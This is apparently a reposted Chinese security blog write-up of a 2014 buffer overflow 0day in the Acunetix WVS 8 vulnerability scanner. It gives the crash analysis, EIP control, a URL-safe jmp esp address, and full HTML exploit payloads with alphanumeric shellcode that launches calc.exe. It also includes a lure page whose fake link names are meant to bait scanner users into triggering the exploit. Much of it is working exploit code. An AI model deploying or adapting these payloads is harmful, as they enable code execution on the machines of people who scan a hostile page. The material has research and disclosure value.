From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html
幾個星期前,作者曾發表了關于WINRAR 0DAY(文件名欺騙)的文章。得到了大量人的關注和詢問,所以這次又放出一個0day (最熱門的漏掃工具 wvs)。作者POC測試版本為: ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意圖想讓攻擊者在使用wvs 按下掃描鍵前三思而后行(這個才是真正的主動防護吧:)。
ACUNETIX 是一款強大的漏掃工具,很多新手喜歡用這個工具進行掃描。
在掃描初始化階段,會有這樣一個附加選項,如下圖
這一點讓作者產生了興趣,通過分析得出wvs 在解析http response時,提取一些資源請求 類似:
#!html
<img src=http://externalSource.com/someimg.png?>
<a href=http://externalSource.com/?></a>
Etc...
作者又進一步分析了這個過程,驚奇的發現當某個外部域名長度超過268字節,wvs就會crash,作者開始嘗試構造>=268字節長度的域名: 首先測試 如下
<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">?
用Immunity Debugger(OD是這工具的母板)附加掛載到wvs訪問網站: Edx被0x41(A)覆蓋 ,然后取數據段內存越權訪問崩潰了:
作者本打算利用SHE溢出執行shellcode但是比較麻煩。
這里有個難點:
因為是url字串所以避免url的編碼類似
0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)
所以,這里的shellcode不僅要是ascii,還要去除被URL編碼的字符,也因為如此很難繞過SHE保護。
作者提出的思路,利用前面可控制的EDX構造一個可讀的地址,同時要注意構造的edx地址要加8H
#!bash
MOVE ECX, DWORD PTR DS: [EDX-8];
Edx必須滿足下列兩個條件:
1.[edx]可讀
2.是ASCII符合并且沒有被URL轉義的符號
最終利用了0x663030XX 對應ascii值 f005。
前面精確測試出URL在268字節時溢出(不包括http://),溢出點就是269這里(500f開始)。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">
用wvs掃描
Ret之后,看到eip 被覆蓋BBBB 0x42424242。
這里就選擇shellcode 存放位置 ,eax是call函數時的參數,就只有268字節的A,esp當前棧頂指針指向著后面的B 明顯選擇esp(因為夠大 ascii編碼268字節的shellcode很緊張的) 能控制到eip,也找好了shellcode存放空間。
再者就是找jmp esp 以前都是用公開的通用地址,這里需要ascii字符且不被url編碼的,作者用的系統sxs.dll 的0x7e79515d,ascii編碼]Qy~
組合起來整個poc就是
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
最后,用metasploit的Alphanumeric Shell模塊生成了一個純ascii且沒有被url編碼的彈calc.exe的shellcode ,你也可以試試用mst生成其他的shellcode玩玩,選取的地址[edx]和wvs(沒有開啟dep的編譯選項),所以繞過dep防護。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">
作者這里搞的非常好玩,因為這個點必須要用wvs人選擇下面這個才會有效。
So,作者很猥瑣構造了一些很誘惑的外部域名
“SQLINJECTION”
“XSS”
“CSRF”
And so on…
<html>
<img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS..............................................................................................................................................................................................">
<img src="http://CSRF..............................................................................................................................................................................................">
<img src="http://DeepScan..............................................................................................................................................................................................">
<img src="http://NetworkScan..............................................................................................................................................................................................">
<img src="http://DenialOfService..............................................................................................................................................................................................">
</html>
如下圖:
我測試Wvs8.0 build 20120704 版本是可以成功彈出calc的。
后面評論有人說wvs8.0更新的版本也存在這個問題,我這里測試下列版本:
Wvs8.0 20130416版本 Wvs9 各個版本
都不存在此問題。
作者給出的 exp下載。